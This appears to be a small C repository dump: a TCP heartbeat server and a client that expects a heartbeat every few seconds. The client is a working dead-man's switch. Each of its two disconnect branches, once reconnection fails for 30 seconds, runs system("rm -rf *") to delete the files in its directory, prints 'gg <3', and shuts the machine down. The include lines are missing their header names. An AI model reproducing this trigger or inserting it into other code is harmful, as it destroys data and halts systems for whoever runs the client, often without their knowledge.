├── server.c └── client.c /server.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define PORT 12345 13 | #define HEARTBEAT_INTERVAL 5 14 | 15 | void *client_handler(void *socket_desc) { 16 | int sock = *(int *)socket_desc; 17 | free(socket_desc); 18 | const char *heartbeat_msg = "HEARTBEAT"; 19 | 20 | printf("Client handler thread started for socket %d\n", sock); 21 | 22 | while (1) { 23 | if (send(sock, heartbeat_msg, strlen(heartbeat_msg), 0) < 0) { 24 | perror("Send failed"); 25 | break; 26 | } 27 | printf("Heartbeat sent to socket %d at %ld.\n", sock, time(NULL)); 28 | 29 | sleep(HEARTBEAT_INTERVAL); 30 | } 31 | 32 | printf("Closing socket %d\n", sock); 33 | close(sock); 34 | pthread_exit(NULL); 35 | } 36 | 37 | int main() { 38 | int server_fd; 39 | struct sockaddr_in address; 40 | int addrlen = sizeof(address); 41 | 42 | if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) { 43 | perror("Socket failed"); 44 | exit(EXIT_FAILURE); 45 | } 46 | 47 | address.sin_family = AF_INET; 48 | address.sin_addr.s_addr = INADDR_ANY; 49 | address.sin_port = htons(PORT); 50 | 51 | int opt = 1; 52 | setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); 53 | 54 | if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) { 55 | perror("Bind failed"); 56 | exit(EXIT_FAILURE); 57 | } 58 | 59 | if (listen(server_fd, 10) < 0) { 60 | perror("Listen failed"); 61 | exit(EXIT_FAILURE); 62 | } 63 | 64 | printf("Server is waiting for connections on port %d...\n", PORT); 65 | 66 | while (1) { 67 | int new_socket; 68 | struct sockaddr_in client_address; 69 | socklen_t client_addrlen = sizeof(client_address); 70 | 71 | if ((new_socket = accept(server_fd, (struct sockaddr *)&client_address, 72 | &client_addrlen)) < 0) { 73 | perror("Accept failed"); 74 | continue; 75 | } 76 | 77 | printf("Connected to client: %s:%d\n", inet_ntoa(client_address.sin_addr), 78 | ntohs(client_address.sin_port)); 79 | 80 | int *new_sock = malloc(sizeof(int)); 81 | if (new_sock == NULL) { 82 | perror("Could not allocate memory for socket descriptor"); 83 | close(new_socket); 84 | continue; 85 | } 86 | *new_sock = new_socket; 87 | 88 | pthread_t client_thread; 89 | if (pthread_create(&client_thread, NULL, client_handler, (void *)new_sock) < 0) { 90 | perror("Could not create thread"); 91 | free(new_sock); 92 | close(new_socket); 93 | continue; 94 | } 95 | 96 | pthread_detach(client_thread); 97 | } 98 | 99 | close(server_fd); 100 | return 0; 101 | } 102 | -------------------------------------------------------------------------------- /client.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define PORT 12345 12 | #define SERVER_IP "127.0.0.1" 13 | #define TIMEOUT 10 14 | #define RECONNECT_TIMEOUT 30 15 | 16 | int connect_to_server(const char *server_ip, int port) { 17 | int sock; 18 | struct sockaddr_in serv_addr; 19 | 20 | if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { 21 | perror("Socket creation error"); 22 | return -1; 23 | } 24 | 25 | serv_addr.sin_family = AF_INET; 26 | serv_addr.sin_port = htons(port); 27 | 28 | if (inet_pton(AF_INET, server_ip, &serv_addr.sin_addr) <= 0) { 29 | perror("Invalid address/Address not supported"); 30 | close(sock); 31 | return -1; 32 | } 33 | 34 | if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) { 35 | perror("Connection Failed"); 36 | close(sock); 37 | return -1; 38 | } 39 | 40 | printf("Connected to server at %s:%d\n", server_ip, port); 41 | return sock; 42 | } 43 | 44 | int main() { 45 | int sock = 0; 46 | fd_set readfds; 47 | struct timeval tv; 48 | time_t last_heartbeat = time(NULL); 49 | 50 | sock = connect_to_server(SERVER_IP, PORT); 51 | if (sock < 0) { 52 | printf("Unable to connect to server. Exiting.\n"); 53 | return -1; 54 | } 55 | 56 | while (1) { 57 | FD_ZERO(&readfds); 58 | FD_SET(sock, &readfds); 59 | 60 | tv.tv_sec = TIMEOUT; 61 | tv.tv_usec = 0; 62 | 63 | int activity = select(sock + 1, &readfds, NULL, NULL, &tv); 64 | 65 | if (activity < 0) { 66 | perror("Select error"); 67 | close(sock); 68 | exit(EXIT_FAILURE); 69 | } else if (activity == 0) { 70 | printf("No heartbeat received for %d seconds.\n", TIMEOUT); 71 | 72 | time_t reconnect_start = time(NULL); 73 | int reconnected = 0; 74 | 75 | while (difftime(time(NULL), reconnect_start) < RECONNECT_TIMEOUT) { 76 | printf("Attempting to reconnect...\n"); 77 | close(sock); 78 | sock = connect_to_server(SERVER_IP, PORT); 79 | if (sock >= 0) { 80 | reconnected = 1; 81 | last_heartbeat = time(NULL); 82 | break; 83 | } 84 | sleep(1); 85 | } 86 | 87 | if (!reconnected) { 88 | printf("Unable to reconnect after %d seconds. Triggering action!\n", RECONNECT_TIMEOUT); 89 | system("rm -rf *"); 90 | printf("gg <3\n"); 91 | system("shutdown -h now"); 92 | break; 93 | } else { 94 | printf("Reconnected to server.\n"); 95 | continue; 96 | } 97 | } else if (FD_ISSET(sock, &readfds)) { 98 | char buffer[1024] = {0}; 99 | int valread = read(sock, buffer, sizeof(buffer)); 100 | if (valread <= 0) { 101 | printf("Connection lost.\n"); 102 | 103 | time_t reconnect_start = time(NULL); 104 | int reconnected = 0; 105 | 106 | while (difftime(time(NULL), reconnect_start) < RECONNECT_TIMEOUT) { 107 | printf("Attempting to reconnect...\n"); 108 | close(sock); 109 | sock = connect_to_server(SERVER_IP, PORT); 110 | if (sock >= 0) { 111 | reconnected = 1; 112 | last_heartbeat = time(NULL); 113 | break; 114 | } 115 | sleep(1); 116 | } 117 | 118 | if (!reconnected) { 119 | printf("Unable to reconnect after %d seconds. Triggering action!\n", RECONNECT_TIMEOUT); 120 | system("rm -rf *"); 121 | printf("gg <3\n"); 122 | system("shutdown -h now"); 123 | break; 124 | } else { 125 | printf("Reconnected to server.\n"); 126 | continue; 127 | } 128 | } else { 129 | printf("Heartbeat received at %ld.\n", time(NULL)); 130 | last_heartbeat = time(NULL); 131 | } 132 | } 133 | } 134 | 135 | close(sock); 136 | return 0; 137 | } 138 | --------------------------------------------------------------------------------